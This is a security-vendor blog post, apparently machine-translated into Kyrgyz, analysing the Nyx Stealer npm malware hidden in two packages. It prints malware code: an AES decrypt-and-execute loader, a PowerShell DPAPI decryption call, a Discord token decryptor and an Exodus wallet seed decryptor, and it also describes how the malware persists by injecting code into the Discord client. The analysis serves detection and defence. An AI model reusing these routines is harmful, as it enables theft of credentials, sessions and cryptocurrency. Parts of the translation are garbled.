npm маалымат уурдоочусу

Жаңы npm Infostealer ачылышы: Nyx ​​Stealer Discord сессияларын басып алды

TL; DR

Xygeni коопсуздук изилдөө тобу эки зыяндуу пакет аркылуу жеткирилген татаал npm маалымат уурдоо кампаниясын аныктады: консоллоф жана өз алдынча робот-лофи.

Акыркы версия (consolelofy@1.3.0) 216KB AES менен шифрленген пайдалуу жүктөмдү камтыйт, ал иштөө учурунда чечмеленип, төмөнкү аркылуу аткарылат vm.runInNewContext()Зыяндуу логика толугу менен шифрленгендиктен, сап текшерүүсүнө таянган статикалык сканерлер анын жүрүм-турумун аткаруу убактысына чейин байкай алышпайт.

Шифрленгенден кийин, пайдалуу жүк ички брендге ээ болот Nyx уурусу, максаттары:

  • Discord аутентификация токендери
  • 50дөн ашык браузердин реквизиттик маалыматтары дүкөндөрү
  • 90дон ашык криптовалюта капчыгы кеңейтүүлөрү
  • Roblox, Instagram, Spotify, Steam, Telegram жана TikTok сессиялары
  • Discord рабочий столунун кардар туруктуулугу

Эки пакеттеги 20 версиянын баары кабарланып, зыяндуу экени тастыкталды.

Бул npm Infostealerдин техникалык сереби

Салттуу орнотуу учурундагы зыяндуу программалардан айырмаланып, бул кампания төмөнкүлөргө таянат узактыгы чечмелөө модели.

Ал жерде:

  • Зыяндуу эмес preinstall or postinstall hooks
  • Орнотуу учурунда тармактык чалуулар жок
  • Жөнөкөй тексттик грамоталарды чогултуу логикасы жок

Пайдалуу жүк модуль импорттолгондо активдешет. Зыяндуу дене толугу менен шифрленген жана эс тутумда иштөө учурунда гана пайда болот.

Бул дизайн, өзгөчө, пакетти орнотуу учурунда аныктоодон качууга мүмкүндүк берет.

Бул npm Infostealer кантип иштейт

Nyx Stealer эмнени уурдаганын талдоодон мурун, биз түшүнүшүбүз керек ал кантип ишке ашат.

Бул npm маалымат уурдоочусунун ичиндеги зыяндуу логика ырааттуу үлгүгө ылайык иштейт:

Кичинекей жүктөгүч чоң шифрленген пайдалуу жүктү чечмелейт жана аны Node.js виртуалдык машинасынын контекстинде динамикалык түрдө аткарат.

Бул дизайн атайылап жасалган. Чабуулчу функцияны бир гана бүдөмүктөөнүн артына жашырып жаткан жок, алар зыяндуу кодду статикалык көрүнүмдүүлүктөн толугу менен алып салуу.

Жогорку деңгээлдеги аткаруу модели

Жогорку деңгээлде, ороочу төрт нерсени аткарат:

  • SHA-256 аркылуу катуу коддолгон сырсөздөн AES ачкычын алат
  • AES-256-CBC колдонуп, чоң алты бурчтуу шифрленген текстти чечмелейт
  • Шифрленген JavaScriptти колдонуп аткарат vm.runInNewContext()
  • Күчтүү иштөө убактысынын примитивдерин дагы эле ачыкка чыгарган кумкоргонду камсыз кылат

Негизги техниканын кыскача баяндамасы

курамдык Конфигурация / Маани
Algorithm AES-256-CBC
Key Derivation SHA-256 (сырсөз)
Баштапкылоо вектору (IV) 0x00 файлынын 16 байттары
аткаруу vm.runInNewContext(чечимделген, кумкоргон)

Кыйынчылык менен, кумкоргон төмөнкүлөр аркылуу өтөт:

  • require
  • process
  • Buffer
  • таймер
  • модуль экспорту

Бул чечмеленген пайдалуу жүк төмөнкү мүмкүнчүлүктөрдү толук сактап калганын билдирет:

  • Уруктануу процесстери
  • Файлдарды окуу жана жазуу
  • Тармактык чалууларды жасоо
  • Жергиликтүү тиркемелерди өзгөртүү

Бул чектелген виртуалдык машина эмес. Бул аткаруучу батут катары колдонулган виртуалдык машина.

Иштөө убактысын шифрлөө үлгүсү (негизги аткаруу механизми)

Жүк ташуучу кичинекей.
Зыяндуу дене андай эмес.

Төмөндө пакеттин ичиндеги аткаруу схемасы келтирилген:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Эмне үчүн бул маанилүү

Шифрленген пайдалуу жүк:

  • көрөбү? жок npm пакетинин ичинде ачык текст түрүндө бар
  • Жөнөкөй адамга көрүнбөйт grep же статикалык сап сканерлөө
  • Эстутумда иштөө учурунда гана чагылдырылат
  • Толук Node иштөө убактысынын мүмкүнчүлүктөрү менен аткарат

Бул AES + VM аткаруу айкалышы - бул күчтүү жүрүм-турумдук көрсөткүч npm маалымат уурдоочусу статикалык текшерүүдөн качууга аракет кылып жатат.

Башкача айтканда:

Эгер сиз пакеттин булак дарагын сканерлесеңиз, уурдоочуну көрбөйсүз.
Сиз дешифрлөөчүнү көрөсүз.

Дешифрлөөдөн кийин эмне болот

Ишке ашырылгандан кийин, Nyx Stealer параллелдүү маалыматтарды чогултуу толкундарын ишке киргизет.

1-толкун: Браузердин грамоталарын алуу

Зыяндуу программа:

  • NuGet CDN'ден Python иштөө убактысын жүктөп алат
  • Криптографиялык китепканаларды орнотот
  • Chromium негизиндеги далдаштырма маалыматтар сакталган дүкөндөрдү чыгарат
  • DPAPI менен корголгон сырларды чечмелейт

Ал жергиликтүү байланыштарды компиляциялоонун ордуна, Windows DPAPI'ни түздөн-түз чакыруу үчүн PowerShell'ди колдонот.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Бул ыкма:

  • Компиляция артефакттарынан качат
  • Windowsтун крипто APIлерин колдонот
  • Административдик куралдар менен айкалышат

Бул скрапинг эмес, ОС деңгээлиндеги далдаштырма маалыматтарды чечмелөө.

2-толкун: Discord токенин чечмелөө

Уурдоочу протоколду билет. Ал Discordдун шифрленген токен форматын түшүнөт.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Операциялык агым:

  • Discord'тон мастер-ачкычты чыгарыңыз Local State
  • DPAPI аркылуу башкы ачкычтын шифрин чечмелөө
  • AES-GCM токен блокторун чечмелөө
  • Discord API'сине каршы токендерди текшерүү
  • Nitro, төш белгилер жана эсеп-фактура маалыматы менен байытыңыз

Бул жалпы грамоталардын демпинги эмес. Бул протоколго негизделген сеанстын басып алынышы.

3-толкун: Криптовалюта капчыгын таргетингдөө

npm маалымат уурдоочусу төмөнкүлөрдү санап берет:

  • 90дон ашык браузер капчыгы кеңейтүүлөрү
  • 27 компьютердик капчык
  • Муздак капчык жолдору
  • Exodus үрөн файлдары

Баштапкы чечмелөө аракетинин мисалы:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Эгерде ийгиликтүү болсо, капчыктын компромисси дароо жана кайтарылгыс болот.

Бул өнөктүктүн эң жогорку баалуу монетизация векторун билдирет.

Discord Desktop инъекциясы аркылуу туруктуулук

Ишеним грамоталарын чогулткандан кийин, Nyx Stealer жергиликтүү маалыматты өзгөртүү менен туруктуулукка аракет кылат. келишпестиктерге керектөөчү.

максаты:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Операциялык ырааттуулук

Маалымат уурдоочу төмөнкү кадамдарды аткарат:

  • Discord процесстеринин иштешин токтотот
  • Орнотулган Discord варианттарын табат (Stable, Canary, PTB)
  • Үстүнө жазат discord_desktop_core/index.js
  • Чабуулчу башкарган вебхук логикасын киргизет
  • Discordду кайра баштайт

Бул келечектеги Discord сессияларында жаңы аутентификация токендеринин автоматтык түрдө агып чыгышын камсыздайт.

Маанилүүсү, бул туруктуулук пландаштырылган тапшырмаларга же реестрди өзгөртүүгө көз каранды эмес. Ал тиркеме деңгээлиндеги кодду өзгөртүүнү, жашыруун ыкманы колдонот.

Зыяндуу npm пакети кийинчерээк алынып салынса да, Discord кардары коркунучта кала берет.

Техникалык салыштыруу: Legitimate Selfbot жана npm Infostealer

курамдык Мыйзамдуу китепкана Nyx npm маалымат уурдоочусу
коддоо эч ким Толук AES менен шифрленген пайдалуу жүк
Иштөө убактысындагы виртуалдык машина талап кылынбайт vm.runInNewContext аткаруу
Credential Access Discord API гана Браузер, капчыктар, DPAPI
Тышкы жүктөөлөр Жок Pythonдун иштөө убактысы NuGet аркылуу
тырышчаактык Жок Discord кардарын инъекциялоо
Акча табуу Ботторду автоматташтыруу Ишеним грамоталарын кайра сатуу

Шифрлөө катмары гана бул өнөктүктү кадимки ачык булактуу форктон бөлүп турат.

Мыйзамдуу Discord селфботунун бүтүндөй код базасын шифрлөөгө, DPAPIге кирүү үчүн PowerShellди иштетүүгө, тышкы иштөө убактысын жүктөп алууга же жумушчу стол тиркемесинин ички жөндөөлөрүн өзгөртүүгө эч кандай себеби жок. Бул мүмкүнчүлүктөр Discord өз ара аракеттенүүсүн автоматташтырат деп ырастаган көз карандылыктын ичинде пайда болгондо, архитектуралык дал келбестикти этибарга албоо мүмкүн болбой калат.

Изилдөөнүн көз карашынан алганда, бул npm маалымат уурдоочусу бир нече катмарларда из калтырат. Бирок, эң ишенимдүү индикаторлор катуу коддолгон URL даректери же белгилүү бир файл жолдору эмес, анткени алар версиялардын ортосунда өзгөрүшү мүмкүн. Тескерисинче, туруктуу сигналдар структуралык мүнөзгө ээ.

Пакет деңгээлинде эң күчтүү кооптуу белги - бул чоң шифрленген пайдалуу жүктөмдүн жана дароо аткарылуучу иштөө убактысындагы чечмелөөчү оромонун айкалышы vm.runInNewContext()Шифрлөөнүн өзү эле зыяндуу болбосо да, Discord утилиталык пакетинин ичинде AES чечмелөөсүн жана андан кийин динамикалык виртуалдык машинаны аткарууну колдонуу өтө аномалиялуу.

Хост деңгээлинде шектүү үлгүлөргө күтүлбөгөн DPAPI чечмелөө активдүүлүгү, Node.js көз карандылык контекстинен процесстин пайда болушу жана үчүнчү тараптын китепканалары тарабынан эч качан өзгөртүлбөшү керек болгон жергиликтүү тиркеме файлдарын өзгөртүү кирет. Ошо сыяктуу эле, тармактык деңгээлде, иштеп чыгуу көз карандылыгы тарабынан башталган чыгуучу вебхук стилиндеги байланыш дагы бир маанилүү аномалияны билдирет.

Башкача айтканда, аныктоо бети компромисстин бирден-бир көрсөткүчү эмес. Коркунучту ачып берген нерсе - бул шифрлөөнүн, аткаруу убактысынын аткарылышынын, грамоталарга кирүүнүн жана туруктуулук жүрүм-турумунун өз ара байланышы.

Xygeni менен аныктоо жана азайтуу

npm маалымат уурдоочусу

Бул npm маалымат уурдоочусу тарабынан аныкталган Xygeni'нин зыяндуу программасы жөнүндө эрте эскертүү (MEW) жөнөкөй кол тамга дал келүүсүнүн ордуна катмарлуу жүрүм-турумдук корреляция аркылуу.

Белгилүү зыяндуу саптарды издөөнүн ордуна, MEW толук булак дарагы боюнча структуралык аномалияларды баалайт. Бул учурда, аныктоо бир нече сигналдардын конвергенциясынан келип чыккан: модулдун кирүү чекитинде камтылган AES чечмелөө процедурасы, виртуалдык машинанын контекстинде дароо аткарылышы жана мүмкүнчүлүк менен ниеттин ортосундагы айкын дал келбестик.

Маанилүүсү, бул сигналдардын бири да өз алдынча зыяндуу ниетти далилдебейт. Бирок, чогуу талданганда, алар иштөө учурундагы жүрүм-турумду жашыруу аракетин ачыкка чыгарат. Бул көп катмарлуу ыкма жогорку ишенимдүү жеткирүү чынжырындагы коркунучтарды аныктоо менен бирге жалган позитивдерди бир топ азайтат.

Мындан тышкары, бул окуя эмне үчүн орнотуу убактысын текшерүүнүн өзү жетишсиз экенин көрсөтүп турат. Зыяндуу логика жашоо циклинин скрипттеринде жок. Ал модуль жүктөлгөндөн кийин гана активдешет жана эс тутумда чечмеленгенден кийин гана көрүнөт. Ошондуктан, натыйжалуу коргонуу үчүн шифрлөөнү эске алган талдоо, жүрүм-турумдук үлгүнү таануу жана орнотуу окуяларынан тышкары үзгүлтүксүз көз карандылыкты көзөмөлдөө талап кылынат.

Реестрди алып салуу реактивдүү. Иштөө убактысын эске алуу менен талдоо алдын алуучу болуп саналат.

Эмне үчүн бул npm Infostealer маанилүү

Nyx Stealer npm негизиндеги зыяндуу программалык камсыздоонун структуралык эволюциясын билдирет.

Тарыхый жактан алганда, көптөгөн зыяндуу пакеттер орнотулган убакыттын көрүнүктүү скрипттерине же айкын далдаштырма маалыматтарын эксфильтрациялоо чекиттерине таянган. Ал эми, бул кампания өзүнүн пайдалуу жүгүн шифрлейт, аткарууну аткаруу убактысына жылдырат, мыйзамдуу операциялык тутум APIлерин колдонот жана ишенимдүү тиркемелердин ичинде туруктуулукту орнотот.

Натыйжада, чабуулчу npm инфраструктурасын өзү пайдаланышынын кажети жок. Тескерисинче, чабуул ийгиликтүү болот, анткени көз карандылыкты орнотуу ишенимди билдирет. Иштеп чыгуучулар китепкананы импорттоо коопсуз операция деп эсептешет, айрыкча, ал өзүн популярдуу куралдын ишенимдүү айрысы катары көрсөткөндө.

Экосистемалар өсүп, айрылардын көбөйүшү менен, ал жашыруун ишеним чеги барган сайын жагымдуу чабуул бетине айланып баратат. Ошондуктан, заманбап npm маалымат уурдоочуларынан коргонуу статикалык саптарды издөөнүн ордуна архитектуралык үлгүлөрдү таанууну талап кылат.

Акыр-аягы, бул өнөктүк маанилүү сабакты бекемдейт software supply chain securityЭң кооптуу коркунучтар биринчи караганда зыяндуу көрүнгөн коркунучтар эмес, бирок иштөө убактысы алардын чыныгы жүрүм-турумун көрсөткөнгө чейин түзүмдүк жактан мыйзамдуу көрүнгөн коркунучтар.

sca-tools-программалык-композициялык-талдоо-куралдары
Программалык камсыздооңуздун тобокелдиктерин артыкчылыктуу деп эсептеңиз, оңдоңуз жана коопсуздугун камсыз кылыңыз
Акысыз аккаунтуңузду алыңыз.
Насыя картасы талап кылынбайт.

Программалык камсыздоону иштеп чыгууну жана жеткирүүнү камсыз кылыңыз

Xygeni Product Suite менен